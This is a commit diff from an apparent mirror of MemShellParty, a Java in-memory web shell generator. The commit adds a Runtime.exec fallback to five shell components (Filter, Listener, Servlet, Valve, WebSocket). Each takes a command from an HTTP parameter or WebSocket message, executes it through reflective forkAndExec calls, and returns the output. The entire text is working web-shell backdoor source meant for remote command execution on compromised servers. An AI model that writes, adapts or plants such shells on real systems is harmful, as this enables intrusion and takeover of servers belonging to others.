archive/MemShellParty
1
0
Fork 0
mirror of https://github.com/ReaJason/MemShellParty.git synced 2026-09-22 07:00:43 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

fix: downgrade runtime.exec

Browse Source
This commit is contained in:
ReaJason
2025-05-10 12:05:02 +08:00
parent 40881209c8
commit c675ae9529
5 changed files with 39 additions and 13 deletions
Download Patch File Download Diff File Expand all files Collapse all files
memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java
+6 -1
View File
@@ -33,7 +33,12 @@ public class CommandFilter implements Filter {
String cmd = getParam(servletRequest.getParameter(paramName));
try {
if (cmd != null) {
InputStream inputStream = forkAndExec(cmd);
InputStream inputStream = null;
try {
inputStream = forkAndExec(cmd);
} catch (Throwable e) {
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
}
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java
+8 -2
View File
@@ -36,7 +36,12 @@ public class CommandListener implements ServletRequestListener {
String cmd = getParam(request.getParameter(paramName));
if (cmd != null) {
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
InputStream inputStream = forkAndExec(cmd);
InputStream inputStream = null;
try {
inputStream = forkAndExec(cmd);
} catch (Throwable e) {
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
}
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
@@ -107,7 +112,7 @@ public class CommandListener implements ServletRequestListener {
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
} catch (NoSuchFieldException e) {
e.printStackTrace();
// JDK7
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
@@ -120,6 +125,7 @@ public class CommandListener implements ServletRequestListener {
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
} catch (NoSuchMethodException e) {
// JDK11
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds, false);
memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java
+8 -2
View File
@@ -33,7 +33,12 @@ public class CommandServlet extends HttpServlet {
String cmd = getParam(request.getParameter(paramName));
try {
if (cmd != null) {
InputStream inputStream = forkAndExec(cmd);
InputStream inputStream = null;
try {
inputStream = forkAndExec(cmd);
} catch (Throwable e) {
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
}
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
@@ -105,7 +110,7 @@ public class CommandServlet extends HttpServlet {
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
} catch (NoSuchFieldException e) {
e.printStackTrace();
// JDK7
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
@@ -118,6 +123,7 @@ public class CommandServlet extends HttpServlet {
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
} catch (NoSuchMethodException e) {
// JDK11
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds, false);
memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java
+8 -2
View File
@@ -51,7 +51,12 @@ public class CommandValve implements Valve {
String cmd = getParam(request.getParameter(paramName));
try {
if (cmd != null) {
InputStream inputStream = forkAndExec(cmd);
InputStream inputStream = null;
try {
inputStream = forkAndExec(cmd);
} catch (Throwable e) {
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
}
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
@@ -125,7 +130,7 @@ public class CommandValve implements Valve {
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
} catch (NoSuchFieldException e) {
e.printStackTrace();
// JDK7
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
@@ -138,6 +143,7 @@ public class CommandValve implements Valve {
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
} catch (NoSuchMethodException e) {
// JDK11
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds, false);
memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java
+9 -6
View File
@@ -27,9 +27,14 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
}
@Override
public void onMessage(String s) {
public void onMessage(String cmd) {
try {
InputStream inputStream = forkAndExec(s);
InputStream inputStream = null;
try {
inputStream = forkAndExec(cmd);
} catch (Throwable e) {
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
}
byte[] buf = new byte[8192];
int length;
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
@@ -91,12 +96,10 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
Object launchMechanismObject = launchMechanismField.get(processObject);
int mode = 0;
try {
// JDK7 的某些版本
Field value = launchMechanismObject.getClass().getDeclaredField("value");
value.setAccessible(true);
mode = (Integer) value.get(launchMechanismObject);
} catch (NoSuchFieldException e) {
// JDK8+
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
mode = ordinal + 1;
}
@@ -107,8 +110,7 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
} catch (NoSuchFieldException e) {
e.printStackTrace();
// JDK6 与 JDK7 低版本
// JDK7
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
@@ -121,6 +123,7 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
} catch (NoSuchMethodException e) {
// JDK11
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds, false);